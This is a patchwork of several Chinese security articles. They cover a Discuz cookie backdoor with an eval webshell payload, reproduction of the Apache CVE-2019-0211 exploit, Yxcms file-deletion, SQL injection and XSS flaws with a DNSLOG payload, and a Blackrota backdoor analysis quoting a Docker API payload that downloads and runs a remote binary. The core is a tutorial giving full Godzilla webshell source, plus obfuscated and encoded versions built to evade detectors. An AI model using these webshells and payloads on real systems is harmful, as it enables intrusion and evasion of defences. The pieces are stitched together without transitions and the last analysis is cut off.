$message = $jammer ? preg_replace("/rn|n|r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspeci
alchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smili
es'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="images/smilies/'.$GLOB
ALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'
.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['r
eplacearray'], $message, $maxsmilies);
}
注意到：
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'],
$GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
请求中Cookie带
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
即可执行phpinfo。
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
即一句话木马。
此后门漏洞十分隐蔽，不容易发现。
## 利用条件：
1.discuz 6.x / 7.x
2.request_order默认值为GP
## 参考地址：
http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt
Discuz!某两个版本前台产品命令执行（无需登录）
http://www.wooyun.org/bugs/wooyun-2010-080723 | 社区文章 |
**Author: Hcamael@Knownsec 404 Team
Chinese Version: <https://paper.seebug.org/889/>**
In April, Apache root privilege escalation was revealed, and its exploitation
scripts was released on GitHub. This paper mainly discusses the problems when
recurring this vulnerability.
## The recurring environment
# 系统, 跟系统关系不是很大，主要问题是能不能用包管理器安装对应版本的apache
$ lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
# Apache版本，复现的关键就在该版本
$ apache2 -v
Server version: Apache/2.4.29 (Ubuntu)
Server built: 2018-03-02T02:19:31
# php版本
$ php -v
PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies
1. The specified version: `# apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4`.
2. Use apt to install PHP directly.
3. The exp address: <https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php>.
4. Open the "ssl" module: `a2enmod ssl`.
The explanations of the need to open "ssl" module:
1. Even if you don't open the "ssl" module, the vulnerability exists.
2. Even if you don't open the "ssl" module, you can modify the Apache configuration and open other ports.
3. If you only open port 80, you need to find another utilization chain. It is announced on GitHub that exp is invalid with only one port open.
4. The relevant code can be seen in [1](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433 "1") and [2](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223 "2"), as well as the macro definition of `SAFE_ACCPET`.
/* On some architectures it's safe to do unserialized accept()s in the single
* Listen case. But it's never safe to do it in the case where there's
* multiple Listen statements. Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT
* when it's safe in the single Listen case.
*/
#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT
#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)
#else
#define SAFE_ACCEPT(stmt) (stmt)
#endif
Simply to say, the mutex is generated only when Apache opens multiple ports,
and the exp posted on GitHub is exploited by apex.
## Problems in recurring vulnerability
Having tried a lot of versions, no one can directly use the exp on GitHub. In
the above versions, two problems are found to cause the utilization failure:
1. Calculation problem in `$all_buckets = $i - 0x10`.
2. Calculation problem in `$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);`.
In the first point, if you use GDB to debug the address that calculates the
`all_buckets`, you will find that the value is true. However, after executing
the `apache2ctl graceful` command, `all_buckets` generates a new value, but
only `0x38000` from the previous one, and this problem can be easily solved:
$all_buckets = $i - 0x10 + 0x38000;
Change the second calculation directly as follows:
$bucket_index = $bucket_index_middle;
## Problems when recurring vulnerability in Ubuntu:
My payload: `curl http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"`.
It seems that it was executed successfully, but the "2323232" file was not
found in the `/tmp` directory. The futher study suggests that `systemd`
redirected the `tmp` directory in Apache. Execute `$find /tmp -name "2323232"`
to find the file, but only the root user can access it. It’s very simple if
you don't want `systemd` to redirect the `tmp` directory. Set it false like
this: `PrivateTmp=false`. Restart it after change and test it again, you can
write the file under the `tmp` directory.
$ cat /lib/systemd/system/apache2.service
[Unit]
Description=The Apache HTTP Server
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
Environment=APACHE_STARTED_BY_SYSTEMD=true
ExecStart=/usr/sbin/apachectl start
ExecStop=/usr/sbin/apachectl stop
ExecReload=/usr/sbin/apachectl graceful
PrivateTmp=false
Restart=on-abort
[Install]
WantedBy=multi-user.target
## About success rate
It’s said that it can’t be 100% successful in exp’s annotation, so I write a
script to test.
root@vultr:~# cat check
#!/bin/bash
SUCC=0
COUNT=0
for i in $(seq 1 20)
do
let COUNT+=1
/etc/init.d/apache2 stop
sleep 1
/etc/init.d/apache2 start
if [ -f "/tmp/1982347" ];then
rm /tmp/1982347
fi
curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347"
apache2ctl graceful
sleep 1
if [ -f "/tmp/1982347" ];then
let SUCC+=1
fi
done
echo "COUNT: $COUNT"
echo "SUCCESS: $SUCC"
The results of testing for 20 times: no failures.
# ./check
......
COUNT: 20
SUCCESS: 20
## Conclusion
Other versions have not been tested yet, but here are some suggestions.
1. Check `all_buckets` address.
After the exp is executed, the corresponding `pid` and `all_buckets` addresses
will be output. You can use `gdb attach` to check whether the address is
correct: `p all_buckets`.
PS: Only when you install the dbg package, there is the `all_buckets` symbol:
`apt install apache2-dbg=2.4.29-1ubuntu4`.
If there is a problem, debug and check the process of searching for the
`all_buckets` address in exp. If there is no problem, use “gdb attach” main
process (the process with root privileges) to set a breakpoint at
`make_child`, and then execute `apache2ctl graceful`. When gdb's flow jumps to
the `make_child` function, output `p all_buckets` again. Compared with the
value obtained by exp, there is no problem if it is the same.
2. Check `my_bucket` address.
The previous process is the same as above, focusing on the code assigned by
`my_bucket` in the `make_child` function:
[3](https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691
"3").
It should be noted that there is a fork above, so add `set follow-fork-mode
child` in gdb.
The value of `my_bucket` points to the address of the heap. If the value of
`my_bucket` is no problem, exp is basically true. If not, adjust
`$bucket_index`.
## Update
The "debian 9" is tested successfully.
# cat /etc/issue
Debian GNU/Linux 9 \n \l
# apache2 -v
Server version: Apache/2.4.25 (Debian)
Server built: 2018-11-03T18:46:19
# php -v
PHP 7.0.33-0+deb9u3 (cli) (built: Mar 8 2019 10:01:24) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.0.33-0+deb9u3, Copyright (c) 1999-2017, by Zend Technologies
## Reference
1. <https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433>
2. <https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223>
3. <https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691>
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# CMS说明
Yxcms是一款高效,灵活,实用,免费的企业建站系统,基于PHP和mysql技术,让您拥有更加专业的企业建站和企业网站制作服务
这个cms采用mvc框架，入口文件为index.php，后台功能url为`/index.php?r=admin/控制器/方法`
# 任意文件删除
定位到photo控制器，此控制器对图片进行处理，对应的文件为`photoController.php`，在`\protected\apps\admin\controller`下。
漏洞发生在第355行的`delpic()`方法
可以看到，需要我们post传入一个picname，虽然说这里要求我们删除图片用file_exists对文件进行检测，但是，并没有对我们传入的文件进行检测，也没用对`.`,`/`进行过滤，存在就直接删除。所以就导致可以进行任意文件删除。
## 漏洞验证
这里我将install.lock删除
post后，虽然会提示缩略图不存在，但是文件已经成功删除
# 任意文件写入
定位到set控制器的`tpadd`方法，该方法对模板文件进行修改,对应的文件为`setController.php`，在`\protected\apps\admin\controller`下。tpadd方法在140行
首先，对我们传入的Mname参数进行判断，如果为空，就会error提示
非法操作。所以我们传入一个default模板。`http://127.0.0.1/cms/YXcms/index.php?r=admin/set/tpadd&Mname=default`
可以看到
我们只能添加php文件，而且对于文件的内容，仅用`stripcslashes()`函数进行了处理，官方手册给出的解释是：返回反转义后的字符串，也就是去掉转义符号，一般来说是`\`。
## 漏洞验证
创建一个hu3sky.php
调试看一下文件路径
然后访问
# SQL注入
定位到`fragment`控制器的`del`方法，对应的文件为`fragmentController.php`，在`\protected\apps\admin\controller`下。`del`方法在63行
由于我们会POST，所以跟到else里，首先用`implode()`函数进行处理，该函数将一个一维数组的值转化为字符串，接着调用delete方法进行删除。
跟进到delete方法。在protected\base\model\model.php里的第45行
再跟进`delete()`.该方法在`protected\include\core\cpModel.class.php`的第146行。
可以看到sql语句并没有单引号进行包裹。
继续跟进`_parseCondition()` 在当前文件的第223行，对解析条件进行了说明
继续跟进
在该文件的第36行发现了对解析条件的处理
用全局搜索`parseCondition()`，发现在`protected\include\core\db\cpMysql.class.php`中第128行定义了该函数
第136行调用了`escape()`对value进行处理。
继续跟进`escape()`
发现只有当我们传入的值为数组的时候，才会用`mysql_real_escape_string()`函数进行处理。由于注入语句并没有单引号包裹，所以说可以直接进行注入，但是没有页面的回显，可以用DNSLOG进行注入
## 漏洞验证
首先需要去 <http://ceye.io> 注册一个账号，这里我接收DNS请求的连接为`2c4lgt.ceye.io`
然后，在`http://127.0.0.1/cms/YXcms/index.php?r=admin/fragment/index`页面。对某一个id进行删除
获取数据库的payload为`1 and if((select load_file(concat('\\\\',(select
database()),'.2c4lgt.ceye.io\\abc'))),1,1)--+`
然后抓包将id改为payload
接着就会在DNS请求中获得外带数据
# 前台XSS
未登录的用户可以直接在前台留言，打到管理员的cookie
前台留言处
`protected\apps\default\controller\columnController.php`
留言数据直接插入到数据库中
管理员编辑留言的文件在
`\protected\apps\admin\controller\extendfieldController.php`
也是直接从数据库中拿出来，底层没有任何过滤
## 漏洞验证
在前台留言
接着 管理员想要回复留言，就必须点击编辑
弹框
# 参考文章
<https://www.jianshu.com/p/95c814c515a2>
【SQL注入奇巧淫技——利用DNSLOG获取看不到的信息（给盲注带上眼镜）】 | 社区文章 |
各位师傅早上好，中午好，晚上好！！！
继上篇文章：<https://xz.aliyun.com/t/11149>
当时测试的环境是php7.0.9，但是将上面的思路转移到php的其他版本好像就不太行了，感谢各位师傅提的意见，小弟感激不尽，欢迎多提一些建议，感谢。
所以这篇文章将建立在前篇文章的基础的上，将兼容性提高，及思路的进一步扩展，如有问题，各位师傅可以在评论区反馈，小弟定在第一时间回复。
那么这次的测试环境是在phpstudy2018，php版本是php5.2-php7.4。
检测是网站分别是:
阿里云webshell检测：<https://ti.aliyun.com/#/webshell>
d盾：<https://www.d99net.net/>
以及百度的webshell：<https://scanner.baidu.com/#/pages/intro>
目前测试全过，全部不会报毒。
vt没有必要上传，vt对脚本语言不敏感，实测webshell检测能力较差。
vt：<https://www.virustotal.com/gui/home/upload>
总的来说最终成果是一片绿。
那么这次选择的webshell是哥斯拉的shell，为什么选择哥斯拉？冰蝎都是他的工具，功能强大，流量加密，并且在我这屡占奇功(绕过bypass_disablefunc)。okok，废话多了，直接测试，首先生成webshell，加密器是这里我使用的是xor_base64,密码是：admin，秘钥是admin123,，首先看看原版shell：
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='admin';
$payloadName='payload';
$key='0192023a7bbd7325';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
首先还是一样看看免杀性：
阿里：恶意
d盾：4级风险
长亭：webshell检测成功
百度：0/1未检测出来
vt：4/57
河马：恶意
总的来说不算差，毕竟哥斯拉也发布挺久了。
在正式开始前，我们还要看看d盾给我们的信息，看看哪部分被查杀了
那么我们在源码里找到这部分代码
那么在我多次测试发现，这段代码影响最大，但不是唯一。
waf是怎么检测webshell的呢？
就我目前研究发现，waf可能并不会看那些if，elif等等函数，他们更在乎的是assert，eval，$_POST,$_GET,$_COOKIE，这些，因为传递参数及代码执行都会用到这几处函数，同时检测这些函数的时候，也不能全部当做恶意代码，较严的检测会导致正常的代码的无法执行，那么我们猜想一下，哥斯拉或者是冰蝎它们的木马在刚刚发布的时候，是否免杀呢？那么为什么现在不免杀了呢？所以waf最有可能就是定位特征，跟shellcode1的免杀差不多，也就是混淆，让waf无法识别出我们。
okok，第一环节：php5.2-php7.0.9
这里我们将代码简单的改一下，首先改写encode函数，将encode函数改成class调用，并将里面的变量名改改：
class aly{
public function yh($xc,$app) {
for($a=0;$a<strlen($xc);$a++) {
$m = $app[$a+1&15];
$xc[$a] = $xc[$a]^$m;
}
$bc=md5($xc); //这个没有实际作用，混淆waf的，不知道有没有用
return $xc;
}
}
这里改好后，我们就需要将下面的encode替换了，我使用的是
$app = new aly;
$data=$app->yh();
各位师傅随意了，这些更改比较简单。
那么第二个更改就是
$key='0192023a7bbd7325';
我们看看这个$key，实际就是秘钥的md5值的前16位，那么我们就可以改成：
$key=substr(md5('admin123'),0,16);
那么我们就可以将下面的所有$key都替换成substr(md5('admin123'),0,16)
第三点：
将能改的变量名都改一遍，多使用php的连接符点，或者将变量通过base64加密解密获得
那么我对$payloadName进行了字符串拼接：$p.'load';($p='pay')
getBasicsInfo个更改为$cmd='getBas'.'icsInfo';
暂时，就更改这么多，主要是后来发现更改这些的作用不是特别大，但是也是不可获取的部分
第四点：
也是最重要的一点，php全版本通用。
我将上面所以的变量都改了一遍，能改改的函数也都尝试了，都失败了：
到底是怎么回事呢，经过我的fuzz大法，终于在变量传递过程中发现
可能是追踪到了变量的传递执行，符合哥斯拉木马特征，或其他原因，当我加一句变量传递时：
就这$uu=$payl;短短一句.....过了d盾
这是最简单的方法并且也是php5.2-php7.4都兼容的方法，
那么有没有其他方法？
另类方法：
条件只是用于php7.0.9，也就是我上一篇文章，strrev()函数，不知道这算不算strrev（）函数在php7.0.9的bug，【手动狗头】
，当我们使用strrev()函数混淆assert，或者eval时：
同时waf无反应。
使用php7.0.9也可以连接成功。
另类方法二：
改成get传递
前提：php5.2-php7.0.9
同样waf无反应
以上这些方法可以过d盾，百度，vt等等(目前就测试这么多)
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
class aly{
public function yh($xc,$app) {
for($a=0;$a<strlen($xc);$a++) {
$m = $app[$a+1&15];
$xc[$a] = $xc[$a]^$m;
}
$bc=md5($xc);
return $xc;
}
}
$cmd='getBas'.'icsInfo';
$pass='admin';
$p='pay';
$key=substr(md5('admin123'),0,16);
$kk=$p.'load';
if (isset($_POST[$pass])){
$app = new aly;
$data=$app->yh(base64_decode($_POST[$pass]),substr(md5('admin123'),0,16));
if (isset($_SESSION[$kk])){
$xx=$app->yh($_SESSION[$kk],substr(md5('admin123'),0,16));
$payl=$xx;
if (strpos($payl,$cmd)===0){
$payl=$app->yh($payl,substr(md5('admin123'),0,16));
}
$uu=$payl;
class MOL{
public function __construct($p) {
$qq=null;
$dd=null;
assert($qq./*xxx*/$p./*ssss*/$dd);
}
}
@new MOL($uu);
print substr(md5($pass.substr(md5('admin123'),0,16)),0,16);
print base64_encode($app->yh(@run($data),substr(md5('admin123'),0,16)));
print substr(md5($pass.substr(md5('admin123'),0,16)),16);
}else{
if (strpos($data,$cmd)!==0){
$_SESSION[$kk]=$app->yh($data,substr(md5('admin123'),0,16));
}
}
}
同样达到阿里云还是提示
附加一点，不是改的越多越好，有时候适得其反，各位师傅自行斟酌。
那么现在就是给shell加密的，这次换个网站
<http://122.114.170.182/>
这个网站，注册个账号，
操作简单，各版本兼容，免费版够用，好评。
直接上传加密。
加密后代码：
<?php
/*
Encode by www.phpen.cn
*/
goto IUNnc; XwEH4: $app = new aly(); goto nsf5Z; LL5W7: print substr(md5($pass . substr(md5("\x61\144\155\151\x6e\61\62\63"), 0, 16)), 16); goto CL6YJ; CjDEf: ROeQh: goto l_69p; IUNnc: @session_start(); goto MEYfv; FD8N5: $xx = $app->yh($_SESSION[$kk], substr(md5("\x61\144\155\151\156\61\x32\x33"), 0, 16)); goto d5hJ4; EwLvZ: $pass = "\141\x64\x6d\151\x6e"; goto rJEy5; kB2OV: $key = substr(md5("\x61\x64\155\151\x6e\61\62\x33"), 0, 16); goto BSLFU; igfvs: if (!(strpos($payl, $cmd) === 0)) { goto SSWNn; } goto g6wS1; BRtQN: print base64_encode($app->yh(@run($data), substr(md5("\x61\x64\155\151\156\x31\x32\63"), 0, 16))); goto LL5W7; MEYfv: @set_time_limit(0); goto y_Rav; sLyCi: $uu = $payl; goto MJ6yT; MJ6yT: class MOL { public function __construct($p) { goto L8KoL; kSIBh: assert($qq . $p . $dd); goto WZIpx; jhNhW: $dd = null; goto kSIBh; L8KoL: $qq = null; goto jhNhW; WZIpx: } } goto DbnEh; nsf5Z: $data = $app->yh(base64_decode($_POST[$pass]), substr(md5("\x61\x64\x6d\151\x6e\x31\62\x33"), 0, 16)); goto BwJ60; y_Rav: @error_reporting(0); goto byV_H; qB34k: print substr(md5($pass . substr(md5("\x61\x64\155\151\x6e\x31\62\63"), 0, 16)), 0, 16); goto BRtQN; rJEy5: $p = "\x70\x61\x79"; goto kB2OV; byV_H: class aly { public function yh($xc, $app) { goto imLf_; Ble8D: TCvbj: goto a8lqD; gNM7_: return $xc; goto tjogK; DWm5f: goto TCvbj; goto s2flz; KBh8d: Lz8Jg: goto vMyr2; a8jp5: $m = $app[$a + 1 & 15]; goto CDak2; rFPqD: $bc = md5($xc); goto gNM7_; a8lqD: if (!($a < strlen($xc))) { goto eBW6Z; } goto a8jp5; CDak2: $xc[$a] = $xc[$a] ^ $m; goto KBh8d; vMyr2: $a++; goto DWm5f; imLf_: $a = 0; goto Ble8D; s2flz: eBW6Z: goto rFPqD; tjogK: } } goto C6KW9; g6wS1: $payl = $app->yh($payl, substr(md5("\x61\144\155\x69\156\x31\x32\x33"), 0, 16)); goto zWyVT; BSLFU: $kk = $p . "\x6c\157\x61\144"; goto mWTXt; DbnEh: @new MOL($uu); goto qB34k; YwMwI: $_SESSION[$kk] = $app->yh($data, substr(md5("\x61\x64\155\x69\x6e\x31\x32\63"), 0, 16)); goto CjDEf; Dh1Wx: rQdE_: goto FD8N5; zWyVT: SSWNn: goto sLyCi; d5hJ4: $payl = $xx; goto igfvs; l_69p: goto F03Mj; goto Dh1Wx; rIcEU: if (!(strpos($data, $cmd) !== 0)) { goto ROeQh; } goto YwMwI; CL6YJ: F03Mj: goto mpw9H; C6KW9: $cmd = "\x67\145\x74\102\141\x73" . "\151\x63\x73\x49\x6e\x66\157"; goto EwLvZ; BwJ60: if (isset($_SESSION[$kk])) { goto rQdE_; } goto rIcEU; mWTXt: if (!isset($_POST[$pass])) { goto OQSh7; } goto XwEH4; mpw9H: OQSh7:
上传测试：
连接测试；
成功！！
其实如果大佬会java，可以对哥斯拉进行魔改，效果应该更好，这里的免杀也只是小打小闹，给各位师傅乐乐，
如果有其他问题，给位师傅可以底下评论
感谢阅读 | 社区文章 |
# Blackrota：一个Go开发的高度混淆的后门
##### 译文声明
本文是翻译文章，文章原作者 netlab，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-writt>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
最近，我们通过 Anglerfish 蜜罐捕获到一个利用 Docker Remote API 未授权访问漏洞来传播的 Go
语言编写的恶意后门程序，鉴于它上线的 C2 为 blackrota.ga ，我们把它命名为 Blackrota。
Blackrota 后门程序目前只有 Linux 版，为 ELF 文件格式，支持 x86/x86-64 两种 CPU 架构。Blackrota 基于
[geacon](https://github.com/darkr4y/geacon) 配置并编译，geacon 是一个 Go 语言实现的
CobaltStrike Beacon，它可以作为 CobalStrike 的 Beacon 与 CobaltStrike 交互来控制失陷主机：
不过它只实现了原生 CobaltStrike Beacon 中的部分关键功能：
* CMD_SHELL: 执行 Shell 命令；
* CMD_UPLOAD: 上传文件;
* CMDDOWNLOAD: 下载指定文件；
* CMD_FILE_BROWSE: 文件浏览；
* CMD_CD: 切换目录；
* CMD_SLEEP: 设置睡眠延迟时间；
* CMD_PWD: 当前目录；
* CMD_EXIT: 退出。
不同的是，Blackrota 在编译前，对 geacon 源码以及 geacon 用到的第三方 Package
中的函数名、变量名甚至源码文件路径字符串做了混淆。导致我们在逆向分析过程中无法直观看出该后门程序导入了哪些第三方
Package，进而无法直接恢复关键的函数符号与有意义的 Type Names。
另外，Blackrota 的作者还把程序中所有的字符串做了编码处理，每一个字符串都用一个 XOR
编码的函数来编码，执行的时候动态解码后再调用。导致逆向工程师无法直接看到程序中用到的字符串，现有的针对 Go
语言二进制文件逆向分析的辅助脚本、插件更无法解析这些字符串，给逆向分析工作带来很大的阻力。
历史上我们见过的 Go 编写的恶意软件，最多在编译时做了 Strip 处理，极个别会有轻微的混淆，都不会对逆向分析工作带来多大困难。而 Blackrota
则带来了新的混淆方式，给 Go 二进制文件的逆向分析工作带来新的挑战。
这是我们迄今为止发现的混淆程度最高的 Go 编写的 ELF 格式的恶意软件。
## 详细分析
### Blackrota 的传播
Blackrato 的作者针对未授权 Docker Remote API 利用的 Payload 有多个，其中典型的 Payload 精简如下：
POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json
{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget <https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod> 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}
利用成功的 Payload，会从以下 2 个 URL 下载 32bit 或者 64bit Blackrota 后门程序：
<https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32>
<https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64>
### Blackrota 后门程序概况
如上文所述，Blackrota 的后门程序由 Go 语言编写，在 IDAPro 中用
[go_parser](https://github.com/0xjiayu/go_parser) 解析之后，可以发现该程序由 Go1.15.3
编译而来，编译该项目的主机中，GOROOT 路径为 “/usr/local/Cellar/go/1.15.3/libexec”
。另外，还可以分析出该项目涉及的源码文件路列表(源码文件的目录以随机字符串命名)：
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go
### Blackrota 的函数符号
从 [go_parser](https://github.com/0xjiayu/go_parser)
的解析结果来看，给逆向分析工作带来最大阻力的，则是Blackrota 样本中导入的第三方库源码中的函数名(Function
Names)、数据类型名(Type Names)以及部分类型绑定的方法名(Method names)被混淆成无意义的随机字符。解析后的部分函数列表：
被混淆的数据类型定义：
另外，仍有部分绑定在数据类型上的方法名未被完全混淆：
Go
语言二进制文件构建时，是全静态链接构建二进制文件。所以会把标准库和第三方库中用到的所有代码都打包进二进制文件中，导致二进制文件体积很大。这种特性从逆向分析角度来看，就是在反汇编工具中打开
Go 二进制文件就会看到少则几千、多则上万个函数。如果这些函数没有相应的符号信息，那么针对 Go 二进制文件的逆向分析工作就会举步维艰。
好在 Go 语言还有另外一个机制：构建二进制文件时，还会把运行时符号信息(RTSI, Runtime Symbol
Information)和运行时类型信息(RTTI, Runtime Type Information)都打包进二进制文件中，并且无法被 Strip
掉。当前业界几乎所有针对 Go 二进制文件的逆向辅助插件或脚本，以
[go_parser](https://github.com/0xjiayu/go_parser) 为例，都是通过解析 Go
二进制文件中这些符号信息和类型信息来恢复大量的符号和类型定义，进而辅助逆向分析工作的。Go 语言项目经常导入大量的第三方开源
Package，通过分析这类工具解析出来的符号信息，就能顺藤摸瓜找到相应的开源 Package，阅读第三方 Package
的源码，则会让逆向分析工作效率进一步提升。
而 Blackrota
这种混淆符号信息和类型信息的手法，恰好扼住了这类逆向辅助工具的”命门”。使它们解析、恢复出来的符号信息变得没有可读性，也就失去了符号和类型信息的意义，更无法确知项目中用到了哪些第三方库。这样就会让逆向分析工作变得阻碍重重。
经过我们仔细分析，才发现 Blackrota 的样本是由 [geacon](https://github.com/darkr4y/geacon) 改写而来。
这样一来，我们就可以尝试用以下步骤来恢复 Blackrota样本中的函数符号：
1. 编译一个与 Blackrota 样本相同 CPU 架构的 [geacon](https://github.com/darkr4y/geacon) ，不做 striped 处理，保留符号信息；
